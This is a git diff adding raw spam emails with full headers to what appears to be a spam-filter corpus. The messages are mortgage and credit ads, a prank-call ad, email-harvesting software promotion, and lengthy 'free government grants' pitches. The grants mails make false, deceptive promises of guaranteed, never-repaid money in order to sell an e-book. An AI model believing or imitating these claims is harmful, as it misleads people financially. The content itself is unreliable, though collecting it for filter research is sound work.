Wed, 24 Jul 2002 01:56:37 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 06:56:37 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O5sm423389 for + ; Wed, 24 Jul 2002 06:54:50 +0100 +Received: from linux04.axis.lt ([205.238.220.2]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6O5rap17521 for + ; Wed, 24 Jul 2002 06:53:44 +0100 +Received: from mx (linux04.axis.lt [127.0.0.1]) by linux04.axis.lt + (Postfix) with SMTP id 7EF36125E0E for ; Tue, + 23 Jul 2002 22:56:33 -0400 (EDT) +Comments: Mail sent by DigitalCompany server +MIME-Version: 1.0 +From: "Digital Mortgage" +To: yyyy@netnoteinc.com +Subject: Free Mortgage Quotes +Message-Id: <20020724025633.7EF36125E0E@linux04.axis.lt> +Date: Tue, 23 Jul 2002 22:56:33 -0400 (EDT) +Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_01C1E216.45376260" + +This is a multi-part message in MIME format. + +------=_NextPart_000_0012_01C1E216.45376260 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: 8bit + +Let the Banks Complete for Your Mortgage or Loan. + + + + +It's as easy as 1-2-3! + +Programs for EVERY credit situation + +Borrow up to 125% of your home value + +Special programs for self-employed + +No income verification programs + +Free Mortgage Loan Analysis. No obligation! + +1.Fill in the short form Lender reply within 24 hrs. + +2.You will receive the lowest offers from qualified mortgage +bankers within 24 hours. + +3.Then, you decide!!! You receive quotes with no cost or +obligation. + +Let's Get Started!!! +http://www.digitalmortgage.cc/showrates + +All information is confidential and won't be sold or distributed to anyone. + +To remove please follow: +http://www.digitalmortgage.cc/unsubscribe?email=3Djm@netnoteinc.com + +------=_NextPart_000_0012_01C1E216.45376260 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Free Mortgage Quotes +
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    + + +------=_NextPart_000_0012_01C1E216.45376260-- + + diff --git a/bayes/spamham/spam_2/00985.13d06699ecd95078655fa3d24e3b6d03 b/bayes/spamham/spam_2/00985.13d06699ecd95078655fa3d24e3b6d03 new file mode 100644 index 0000000..a97b61b --- /dev/null +++ b/bayes/spamham/spam_2/00985.13d06699ecd95078655fa3d24e3b6d03 @@ -0,0 +1,552 @@ +From bibey@att.net Tue Jul 23 02:37:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4CA43440C9 + for ; Mon, 22 Jul 2002 21:37:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 02:37:28 +0100 (IST) +Received: from att.net ([211.185.225.2]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g6N1al415668 for ; + Tue, 23 Jul 2002 02:36:47 +0100 +Reply-To: +Message-Id: <021d35c27a3c$1444b2d3$3ad04be7@rbbqtc> +From: +To: +Subject: The Government grants you $25,000! +Date: Wed, 24 Jul 2002 02:19:58 -0100 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Importance: Normal +Content-Type: text/html; charset="iso-8859-1" + + + + +
    +

    +  +Free Personal and Business Grants

    + +

      +

    + + + +
    +
    +

    +" Qualify for at least $25,000 in free +grants money - Guaranteed! "

    +
    + +
    +

    +Each day over One Million Dollars in Free +Government
    +Grants  is given away to people just like you for a wide
    +variety of Business And Personal Needs

    +        +Dear Grant Seeker, +
    In a moment, I'll tell you +exactly HOW & WHERE to get Grants. This MONEY has to +be given away, WHY not to YOU?
    + +
    You may be thinking, "How +can I get some of this Free Grants Money"
    + +
    Maybe you think it's impossible +to get free money?
    + +
    Let me tell you it's not +impossible! It's a fact, ordinary people and businesses all across the +United States are receiving millions of dollars from these Government and +Private Foundation's everyday.
    + +
    Who Can Apply?
    + +
    ANYONE can apply +for a Grant from 18 years old and up!
    + +
    Grants from $500.00 to $50,000.00 +are possible! GRANTS don't have to be paid back, +EVER! Claim +your slice of the FREE American Pie.
    + +
    This money is not a loan, +Trying to get money through a conventional bank can be very time consuming +and requires a lot of paperwork, only to find out that you've been denied. +These Government Agencies don't have to operate under the same stringent +requirements that banks do.
    + +
    You decide how much money +you need, as long as it's a lawful amount and meets with the Government +Agencies criteria, the money is yours to keep and never has to be repaid. +This money is non taxable & interest free.
    + +
    None of these programs require +a credit check, collateral, security deposits or co-signers, you can apply +even if you have a bankruptcy or bad credit, it doesn't matter, you as +a tax payer and U.S. citizen are entitled to this money.
    + +
    There are currently over +1,400 Federal Programs, 24,000 State Programs, 30,000 Private Foundations +and 20,000 Scholarship Programs available.
    + +
    This year over $30 Billion +Dollars In Free personal and business Government Grants Money will be given +away by Government Grants Agencies.
    + + +
      +
    + + + +
    +
    +

    +Government Personal +and Business Grants Facts:

    +Over 20 Million People Get Government +Money Every Year: +
      1,000,000 entrepreneurs get money +to start or expand a business +

      4,000,000 people get money to invest +in real estate +

      6,000,000 people get money to go +to college +

      10,000,000 people get free help and +training for a better job

    +
    + +

    +Getting Business +Grants

    + +
    Anyone thinking about going +into business for themselves, or wanting to expand an existing business +should rush for the world's largest "one-stop-money-shop" where FREE business +grants to start or expand a business is being held for you by the Federal +Government.
    + +
    It +sounds absolutely incredible that people living right here in the United +States of America wouldn't know that each year the world's largest source +of free business help delivers:
    + +
      Over $30 billion dollars in free +business grants and low-interest loans; +

      over one-half trillion dollars in +procurement contracts; and +

      over $32 billion dollars in FREE +consulting and research grants.

    + +
    With an economy that remains +unpredictable, and a need for even greater economic development on all +fronts, the federal government is more willing than it ever has been before +to give you the money you need to own your own business and become your +own boss!
    + +
    In +spite of the perception that people should not look to the government for +help, the great government give-away programs have remained so incredibly +huge that if each of the approximately 8 million businesses applied for +an equal share, they would each receive over $70,000.
    + +
    Most +people never apply for FREE Business Grants because they somehow feel it +isn't for them, feel there's too much red-tape, or simply don't know who +to contact.The fact is, however, that people from all walks of life do +receive FREE GRANTS MONEY and other benefits from the government, and you +should also.
    + +

    +Government Grants +for Personal Need

    + +
    Help to buy a new home for +low income families, repair your home, rent, mortgage payments, utility +bills, purchase a new car, groceries, childcare, fuel, general living expenses, +academic tutoring, clothing, school supplies, housing assistance, legal +services, summer camp, debts, music lessons, art lessons, any extracurricular +activities, pay bills for senior citizens, real estate taxes, medical expenses +and general welfare. If you or someone you know suffered a fire lose there +are programs available to help in replacing necessities.
    + +

    +Scholarships And +Grants For Education

    + +
    Grant Money for preschool +children and nursery school education, private, primary and secondary schools, +men and women to further their education, scholarships for athlete's, business +management, engineering, computer science, medical school, undergraduate, +graduate, professional, foreign studies and many more.
    + +

    +Here's How You +Can Get Free Grants
    +In The Shortest Time Possible

    + +
    Once you know how and where +to apply for a specific Free Grant, results are almost inevitable. The +government wants to give away this money. . . it is under congressional +mandate to do so! These funds are made available to help you, the tax payer. +All that's required from you is the proper presentation of your grant request. +That's all.
    +Announcing... +
    +

    +"The Complete +Guide To Government Grants"

    + +
    Forget just about everything +you've seen or heard about government grants. What I've done is put together +a complete blueprint for researching, locating and obtaining government +grants. "The Complete Guide To Government Grants" is the most comprehensive +tool for obtaining free grant money, and it comes in an Electronic book +
    (e-book) format, meaning you can +download and start using it minutes after you order.
    + +
    The +Complete Guide to Government Grants will provide you with access to thousands +of grant and loan sources, with step by step instructions to proposal writing +and contact procedures.
    +In the Complete Guide to Government +Grants you'll find: +
    Step by step guidelines +to applying for government grants
    + +
    Direct access to over 1,400 +grant, loan and assistance programs offered by the U.S. federal government. +All you need to do is Click & Find your program from the detailed categorized +listings
    + +
    Direct access to thousands +of resources of state specific grant programs
    + +
    Name, phone number and address +of an expert in your state that will answer your grant related questions +and help you with the grant application... free of charge
    + +
    Online directory of government +supported venture capital firms
    + +
    A unique search tool that +will allow you to generate a customized listing of recently announced grant +programs
    + +
    Government funding programs +for small businesses
    + +
    Top 100 government programs +(based on number of inquiries), discover what are the most sought after +government grants and assistant programs. Claim your slice of the FREE +American Pie
    + +
    Online Directory of federal +and state resources for government scholarships and grants for education
    + +
    Step by step guidelines +to locating grants, loans and assistant programs for starting a new business +or expanding an existing one
    + +
    How to get free small business +counseling and expert advice courtesy of the US government
    + +
    Government grants application +forms
    + +
    Direct access to thousands +of government grants programs covering: small businesses, home improvement, +home buying and homeownership, land acquisition, site preparation for housing, +health, assistance and services for the unemployed, job training, federal +employment, education, and much much more
    + +
    How to develop and write +grant proposals that get results
    + +
    ...Plus much more
    +The Complete Guide to Government +Grants is so comprehensive, it provides you with direct access to practically +every source of FREE government grants money currently available. +
    If you're an American citizen +or resident, you are entitled to free grant money ranging from $500 to +$250,000 or more. If you are Black you have already qualified for 15 programs, +being Hispanic, you qualify for many programs. Being a Christian will get +you into 20 programs, there are also many other programs available for +different faiths, Jewish, Catholic. Not having any money, will get you +into over 30 programs, 550 programs if you are unemployed, or underemployed. +The list and sources are endless.
    + +
    You Are Eligible! This money +is Absolutely Free and will be yours to use for any worthwhile purpose.
    + +
    Did you know you can apply +for as many grants as you want?
    + +
    It's true, For instance, +you could get a $65,000 grant to begin a weight loss business, get $8,800 +in tuition to become a nurse or $35,000 to open up the day-care center, +you've always dreamed of owning. And then, go out and apply for a grant +to buy a home for you and your family. And once your new business starts +doing well you could go out and get another grant for expansion of your +business. The possibilities are endless.
    + + +
      +
    + + + +
    +

    +You Must Qualify +For At Least $25,000 In Free
    +Grants Money, Or Your Money Back!

    + +
    We are so confident in our +Grants Guide that If you have not received at least $25,000 in free grant +money, or, if you are unhappy with our e-book for any reason within the +next 12 months, Just send the e-book back and we will refund your entire +payment. NO QUESTIONS ASKED!!
    + +
    If you want to order, we +insist you do so entirely at our risk. That is why the E-book comes with +a... No Risk full year Money-Back Guarantee. There is absolutely +NO RISK on your part with this 365 day guarantee. What we mean is we want +you to order without feeling you might "get taken."
    + +
    Therefore, we want you to +order this material today... read it, use it... and if for any reason you +aren't completely satisfied, you not only can cancel, you should, +for an immediate refund of your purchase price. You simply can't lose.
    + +
    Free +Bonuses
    + +
    Just to "sweeten" the deal, +I'll include the following four valuable bonuses, that you can keep +as a gift, even if you later decide not to keep the Grants Guide!
    + +
    Free Bonus #1:
    + +
    A Fully Featured Grants +Writing Tutorial Software Package
    + +
    THIS INFO ALONE IS WORTH +THOUSANDS OF DOLLARS - I GUARANTEE YOU CAN PURCHASE A GRANTS CD OR INFO +ANYWHERE, AND YOU WILL NOT RECEIVE THIS DOWNLOADABLE SOFTWARE THAT ACTUALLY +SHOWS YOU HOW TO APPLY AND WHAT TO SAY, SO THAT YOU ARE ACCEPTED FOR A +GRANT !!!
    + +
    This interactive software +tool will walk you through the grant-writing process and will teach you +everything you need to know to write competitive grants proposals.
    + +
    The program includes:
    + +
      +
      detailed information and +tips on writing grants proposals;
      + +
      how to complete a grant +application package;
      + +
      examples of good, complete +grant packages;
      + +
      a glossary of grants terms;
      + +
      resources and contacts;
      + +
      a mock grants-writing activity +where you will be able to compare your results to a successful grant application
      + +
      plus much much more
      +
    + +
    Free Bonus #2:
    + +
    The Insider Information +Report: 61 Ways To Save Money
    + +
    This valuable special report +contains insider experts tips and techniques that will help you to save +thousands of Dollars. You'll discover little known secrets and tricks to +saving money on airline fares, car rental, new and used car buying, auto +leasing, gasoline, car repairs, auto insurance, life insurance, savings +and investment, credit cards, home equity loans, home purchase, major appliances, +home heating, telephone services, food purchase, prescription drugs and +more.
    + +
    Free Bonus #3:
    + +
    The Complete Guide To +Starting Your Own Business
    + +
    A +comprehensive manual that will give you all the guidelines and tools you +need to start and succeed in a business of your own, packed with guides, +forms, worksheets and checklists. You will be amazed at how simple these +strategies and concepts are and how easy it will be for you to apply them +to your own business idea. Hundreds were sold separately at $40 each... +you get it here for free.
    + +
    Here's +just a taste of what's in the guide:
    + +
    How +to determine the feasibility of your business idea. A complete fill in +the blanks template system that will help you predict problems before they +happen and keep you from losing your shirt on dog business ideas.
    + +
    A step by step explanation +of how to develop a business plan that will make bankers, prospective partners +and investors line up at your door. Plus, a complete ready made business +plan template you can easily adapt to your exact needs.
    + +
    Discover the easiest, simplest +ways to find new products for your business that people are anxious to +buy.
    + +
    How +to make money with your new idea or invention. Secrets of making sure you +put cash in your pocket on your very first idea business venture.
    + +
    Complete, step by step instructions +on how to plan and start a new business. This is must-know must-do information; +ignore it and you stand a good chance to fail. You get specifically designed +instructions for each of the following: a service business, a retail store, +a home based business, a manufacturing company, and more.
    + +
    What nobody ever told you +about raising venture capital money. Insider secrets of attracting investors, +how to best construct your proposal, common mistakes and traps to avoid, +and much more.
    + +
    Checklist +for entering into a partnership. Keeps you from costly mistakes when forming +a partnership.
    + +
    How to select a franchise +business. A step by step guide to selecting a franchise that is best for +you.
    + +
    A complete step-by-step +organized program for cutting costs in your business. Clients of mine have +achieved an average of 28% to 35% cost reduction with this technique, and +you can too. Keep the money in your pocket with this one!
    + +
    What are the secrets behind +constructing a results driven marketing plan? I will lead you step by step +into developing a marketing plan that will drive your sales through the +roof.
    + +
    A complete step by step +guide guaranteed to help you increase your profits by up to 64%, I call +it "The Profit Planning Guide". This is a simple, practical, common sense +strategy, but amazingly enough, almost no one understands or uses it.
    + +
    Free Bonus #4:
    + +
    Guide To Home Business +Success
    + +
    This +is a fast, no-frills guide +to starting and succeeding in a home based business. Here's just a taste +of what's in the guide:
    + +
    Home +business: is it for you?
    + +
    What +are the secrets behind the people who have million dollar home based businesses? +you'll find a 24 tip list proven to turn your home business into a money +machine.
    + +
    Laws and regulations you +must be aware of to avoid legal errors.
    + +
    Planning +a home based business - Insider secrets and tips revealed for ensuring +your success in a home business.
    + +
    Fundamentals +of home business financial planning.
    + +
    Simple, +easy to copy ideas that will enhance your image - and the response you +get from your customers.
    + +
    Common +problems in starting and managing a home based  business - and how +to solve them once and for all.
    +Who I Am and Why I'm Qualified +to Give +
    You The Best Grants Advice +Available +
    I'm +the president of a leading Internet based information business. I'm also +the creator of "The Managing a Small Business CD-ROM" and the author of +five books.
    + +
    I've +been involved in obtaining grants and in small business for the past 23 +years of my life, as a business coach, a manager of a consulting firm, +a seminar leader and as the owner of five successful businesses.
    + +
    During +my career as a business coach and consultant I've helped dozens of business +owners obtain government grants, start their businesses, market, expand, +get out of troubles, sell their businesses and do practically every other +small business activity you can think of.
    + +
    The +Guide presented here contains every tip, trick, technique and strategy +I've learned during my 23 year career. You practically get my whole brain +in a form of an E-book.
    +How the Grants Guide is priced? +
    The Complete Guide To +Government Grants is normally priced at $50, but...
    + +
    ... as part of an Online +marketing test, if you purchase from this sale you pay only $19.99 (that's +75% off ...plus, you still get the FREE valuable bonuses.)
    + +
    If +you are serious about obtaining free grants money, you need this +guide. Don't delay a moment longer. Order Now !!! 
    +P.S. The Complete Guide To Government +Grants will make a huge difference. You risk nothing. The guide is not +the original price of $50, but only $19.99 (if you purchase through +this sale ) and comes with a one year money back guarantee. And you +get four valuable free bonuses which you may keep regardless. Don't delay +a moment longer, ORDER NOW !!!! +
      + +

    Shipping +and Handling is FREE since we will +email you all of this info via access to our secure website which contains +everything described above. +
    +

    +
    +

     Order +Now!!!

    + +If above link doesn't work, Click Here +
    + +

    +
      + + +5644bpjd2-377pFPY5008CNGO0-002OUsM8515zVfL7-701GWKM2954NYPO7-265Cugn9200l68 + + diff --git a/bayes/spamham/spam_2/00986.d5cdaddf809832f37d3d0ecd2ea781ff b/bayes/spamham/spam_2/00986.d5cdaddf809832f37d3d0ecd2ea781ff new file mode 100644 index 0000000..d7cf9d1 --- /dev/null +++ b/bayes/spamham/spam_2/00986.d5cdaddf809832f37d3d0ecd2ea781ff @@ -0,0 +1,61 @@ +From pitster267245087@hotmail.com Wed Jul 24 06:15:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EBFEC440CC + for ; Wed, 24 Jul 2002 01:14:59 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 06:14:59 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O5FA421955 for + ; Wed, 24 Jul 2002 06:15:12 +0100 +Received: from ns.taekwoni.com ([203.231.234.98]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6O5E1p17463 for + ; Wed, 24 Jul 2002 06:14:11 +0100 +Message-Id: <200207240514.g6O5E1p17463@mandark.labs.netnoteinc.com> +Received: (qmail 21872 invoked by uid 0); 24 Jul 2002 03:56:23 -0000 +Received: from unknown (HELO 200.157.44.164) (200.157.44.164) by + ns.taekwoni.com with SMTP; 24 Jul 2002 03:56:23 -0000 +From: pitster267245087@hotmail.com +To: katfish48@hotmail.com +Cc: twg007@hotmail.com, mail14@loa.com, albvilla@yahoo.com, + jason_baird@nameplanet.com, k.smyth@angelfire.com, + macheral@hotmail.com, ciyotie@cis.net, lorena@dfn.com, + cmarylynn@msn.com, arindae@hotmail.com +Date: Wed, 24 Jul 2002 00:04:23 -0400 +Subject: Hello katfish48 ! WOULD A GRANT HELP YOU? +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + + +

    +
    Government Grants E-Book 2002 edition

    +
    +
  • katfish48! You Can Receive The Money You Need... +
  • Every day millions of dollars are given away to people, just like you!! +
  • Your Government spends billions of tax dollars on government grants. +
  • Do you know that private foundations, trust and corporations are +
  • required to give away a portion of theirs assets. It doesn't matter, +
  • where you live (USA ONLY), your employment status, or if you are broke, retired +
  • or living on a fixed income. There may be a grant for you! +
    +
  • ANYONE can apply for a Grant from 18 years old and up! +
  • We will show you HOW & WHERE to get Grants. THIS BOOK IS NEWLY UPDATED WITH THE MOST CURRENT INFORMATION!!! +
  • Grants from $500.00 to $50,000.00 are possible! +
  • GRANTS don't have to be paid back, EVER! +
  • Grants can be ideal for people who are or were bankrupt or just have bad credit. +
    • +
    Please Visit Our Website

    +And Place Your Order TODAY! CLICK HERE

     

    + +We apologize for any email you may have inadvertently received.
    +Please CLICK HERE to be removed from future mailings.
    + + [BFRYTE^3247(^(PO1:K] + + + diff --git a/bayes/spamham/spam_2/00987.8484b70619c4be1cc4afed570490de26 b/bayes/spamham/spam_2/00987.8484b70619c4be1cc4afed570490de26 new file mode 100644 index 0000000..1642206 --- /dev/null +++ b/bayes/spamham/spam_2/00987.8484b70619c4be1cc4afed570490de26 @@ -0,0 +1,207 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O8rDhY057724 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 03:53:14 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6O8rDxk057721 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 03:53:13 -0500 (CDT) +Received: from fiber.avixion.net (fiber.ecommis.net [216.206.140.34]) + by hq.pro-ns.net (8.12.5/8.12.5) with SMTP id g6O8rBhX057696 + for ; Wed, 24 Jul 2002 03:53:11 -0500 (CDT) + (envelope-from anlin002@ms82.url.com.tw) +Message-Id: <200207240853.g6O8rBhX057696@hq.pro-ns.net> +X-Authentication-Warning: hq.pro-ns.net: Host fiber.ecommis.net [216.206.140.34] claimed to be fiber.avixion.net +Received: (qmail 34237 invoked from network); 24 Jul 2002 04:39:12 -0000 +Received: from 244.203.30.61.isp.tfn.net.tw (HELO CHU) (61.30.203.244) + by 216.206.140.35 with SMTP; 24 Jul 2002 04:39:12 -0000 +From: anlin002@ms82.url.com.tw +Subject: =?Big5?B?ur+36qfZq/wtMi0xNDgt?= +To: cypher00000000@yahoo.com.tw +Content-Type: text/html;;;;;;;;;;;;;;;;;; +Reply-To: anlin002@ms82.url.com.tw +Date: Wed, 24 Jul 2002 12:28:19 +0800 +X-Priority: 3 +X-Library: Indy 8.0.25 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6OFFOhX007632 + + + + + + + + + +

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    + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00989.fc0fb4f524ee3a0879d74b0034cd7398 b/bayes/spamham/spam_2/00989.fc0fb4f524ee3a0879d74b0034cd7398 new file mode 100644 index 0000000..b1c2e7f --- /dev/null +++ b/bayes/spamham/spam_2/00989.fc0fb4f524ee3a0879d74b0034cd7398 @@ -0,0 +1,47 @@ +From bsgusuuccesss@yahoo.com Wed Jul 24 05:45:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D603F440CC + for ; Wed, 24 Jul 2002 00:45:33 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 05:45:33 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O4ee420458 for + ; Wed, 24 Jul 2002 05:40:42 +0100 +Received: from 200.48.252.103 (sealperu.com [200.48.252.103]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6O4dVp17407 for + ; Wed, 24 Jul 2002 05:39:37 +0100 +Message-Id: <200207240439.g6O4dVp17407@mandark.labs.netnoteinc.com> +From: unblJames Mason +To: Online.Friends@netnoteinc.com +Cc: +Subject: Free for you... qwof +Sender: unblJames Mason +MIME-Version: 1.0 +Date: Tue, 23 Jul 2002 21:43:15 -0700 +X-Mailer: Internet Mail Service (5.5.2650.21) +X-Priority: 1 +Content-Type: text/html; charset="iso-8859-1" + + + +

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    +     + + + +ndmcshjjevibsvurgdvmldytkkogshjm + + diff --git a/bayes/spamham/spam_2/00990.e0282a91be0479aeadc4ee580bf21ded b/bayes/spamham/spam_2/00990.e0282a91be0479aeadc4ee580bf21ded new file mode 100644 index 0000000..a4e897c --- /dev/null +++ b/bayes/spamham/spam_2/00990.e0282a91be0479aeadc4ee580bf21ded @@ -0,0 +1,84 @@ +Received: from smtp2av.call.oleane.net (smtp2av.call.oleane.net [194.2.20.19]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6NICHe15190 + for ; Tue, 23 Jul 2002 13:12:17 -0500 +Received: from VirusWall by smtp2av.call.oleane.net with ESMTP id g6NHkna09106; + Tue, 23 Jul 2002 19:46:49 +0200 (MEST) +Received: from srv4-exchange.panier-tanguy.com ([62.161.134.10]) + by smtp2av.call.oleane.net with ESMTP id g6NHk3B09085; + Tue, 23 Jul 2002 19:46:03 +0200 (MEST) +Received: from smtp-gw-4.msn.com (nsx.aeratest.com [216.207.154.1]) by srv4-exchange.panier-tanguy.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) + id PPFHMMXF; Tue, 23 Jul 2002 19:58:26 +0200 +Message-ID: <000026fe3068$00000ed8$000065bc@smtp-gw-4.msn.com> +To: +From: "Pedrosa Malringa" +Subject: Fw: Keep it under wraps, but this one works a treat! 7595 +Date: Tue, 23 Jul 2002 12:44:16 -1700 +MIME-Version: 1.0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +X-Status: +X-Keywords: + + + + +creditfix + + +
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    +Thank You,
    + +
    +
    +

    +Your email address was obtained from a purch= +ased +list, Reference # 1580-17600.  If you wish to unsubscribe from t= +his list, please +Click here and e= +nter your +name into the remove box. If you have previously +unsubscribed and are still receiving this message, you may email our +Abuse Control= + Center, +or call 1-888-763-2497, or write us at: NoSpam, 6484 Coral Way, +Miami, FL, 33155".
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    + + + + + + diff --git a/bayes/spamham/spam_2/00991.640530b39770c84b4f79c4b26bb47cbd b/bayes/spamham/spam_2/00991.640530b39770c84b4f79c4b26bb47cbd new file mode 100644 index 0000000..073e9b4 --- /dev/null +++ b/bayes/spamham/spam_2/00991.640530b39770c84b4f79c4b26bb47cbd @@ -0,0 +1,37 @@ +From ncprankservice@blueyonder.co.uk Wed Jul 24 07:56:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 76780440CC + for ; Wed, 24 Jul 2002 02:56:30 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 07:56:30 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O6p1425768 for + ; Wed, 24 Jul 2002 07:51:01 +0100 +Received: from 204.71.65.253 ([204.71.65.253]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6O6nxp17619 for + ; Wed, 24 Jul 2002 07:50:06 +0100 +Message-Id: <200207240650.g6O6nxp17619@mandark.labs.netnoteinc.com> +Received: from [138.156.251.163] by da001d2020.lax-ca.osd.concentric.net + with local; Jul, 24 2002 07:45:40 +0600 +Received: from 82.60.152.190 ([82.60.152.190]) by smtp4.cyberec.com with + QMQP; Jul, 24 2002 06:41:49 +1100 +Received: from 117.83.248.68 ([117.83.248.68]) by rly-xl04.mx.aol.com with + NNFMP; Jul, 24 2002 05:24:38 +1200 +Received: from mailout2-eri1.midsouth.rr.com ([110.220.177.171]) by + rly-xr01.mx.aol.com with NNFMP; Jul, 24 2002 04:41:51 +1100 +From: UK Prank Calls +To: Joker@netnoteinc.com +Cc: +Subject: Hilarious Prank Call Service +Sender: UK Prank Calls +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Wed, 24 Jul 2002 07:50:10 +0100 +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 + +Please visit http://ukprankcalls.com to play a hilarious joke on your mates! + + diff --git a/bayes/spamham/spam_2/00992.7ea3c8959f6bc59e6f64fa7822aae1b5 b/bayes/spamham/spam_2/00992.7ea3c8959f6bc59e6f64fa7822aae1b5 new file mode 100644 index 0000000..e07ecc6 --- /dev/null +++ b/bayes/spamham/spam_2/00992.7ea3c8959f6bc59e6f64fa7822aae1b5 @@ -0,0 +1,114 @@ +From emailharvest@email.com Wed Jul 24 09:00:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 48108440CC + for ; Wed, 24 Jul 2002 04:00:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 09:00:46 +0100 (IST) +Received: from localhost.com ([218.0.77.169]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g6O819428587 for ; + Wed, 24 Jul 2002 09:01:09 +0100 +Message-Id: <200207240801.g6O819428587@dogma.slashnull.org> +From: emailharvest@email.com +Reply-To: emailharvest@email.com +To: yyyy@spamassassin.taint.org +Date: Wed, 24 Jul 2002 16:00:11 +0800 +Subject: Harvest lots of E-mail addresses quickly ! +X-Mailer: QuickSender 1.05 +MIME-Version: 1.0 +Content-Type: text/html; charset="us-ascii" +Content-Transfer-Encoding: quoted-printable + +Dear jm =2C + +=3CBODY bgColor=3D#ffccff=3E +=3CTABLE border=3D0 cellPadding=3D0 cellSpacing=3D0 width=3D475=3E + =3CTBODY=3E + =3CTR=3E + =3CTD align=3Dmiddle vAlign=3Dtop=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E=3CBR=3E +=3CTABLE=3E + =3CTBODY=3E + =3CTR=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E + =3CTD bgColor=3D#b8ecff borderColor=3D#0000ff width=3D=2290%=22=3E=3CFONT color=3D#ff0000 + face=3D=22Arial Black=22 + size=3D6=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B Want + To Harvest A Lot Of Email =3B =3B Addresses In A Very Short Time=3F=3C=2FFONT=3E + =3CP=3E=3CB=3E=3CFONT color=3D#0000ff face=3DArial size=3D4=3EEasy Email + Searcher=3C=2FFONT=3E=3CFONT color=3D#ff00ff face=3DArial size=3D4=3E =3B is =3B + a =3B powerful =3B Email =3B software =3B =3B that =3B + harvests general Email lists from mail servers =3B =3B =3C=2FFONT=3E=3CFONT + color=3D#0000ff face=3DArial size=3D4=3EEasy Email Searcher =3C=2FFONT=3E=3CFONT + color=3D#ff00ff face=3DArial size=3D4=3Ecan get 100=2C000 Email=3C=2FFONT=3E=3C=2FB=3E =3CFONT + 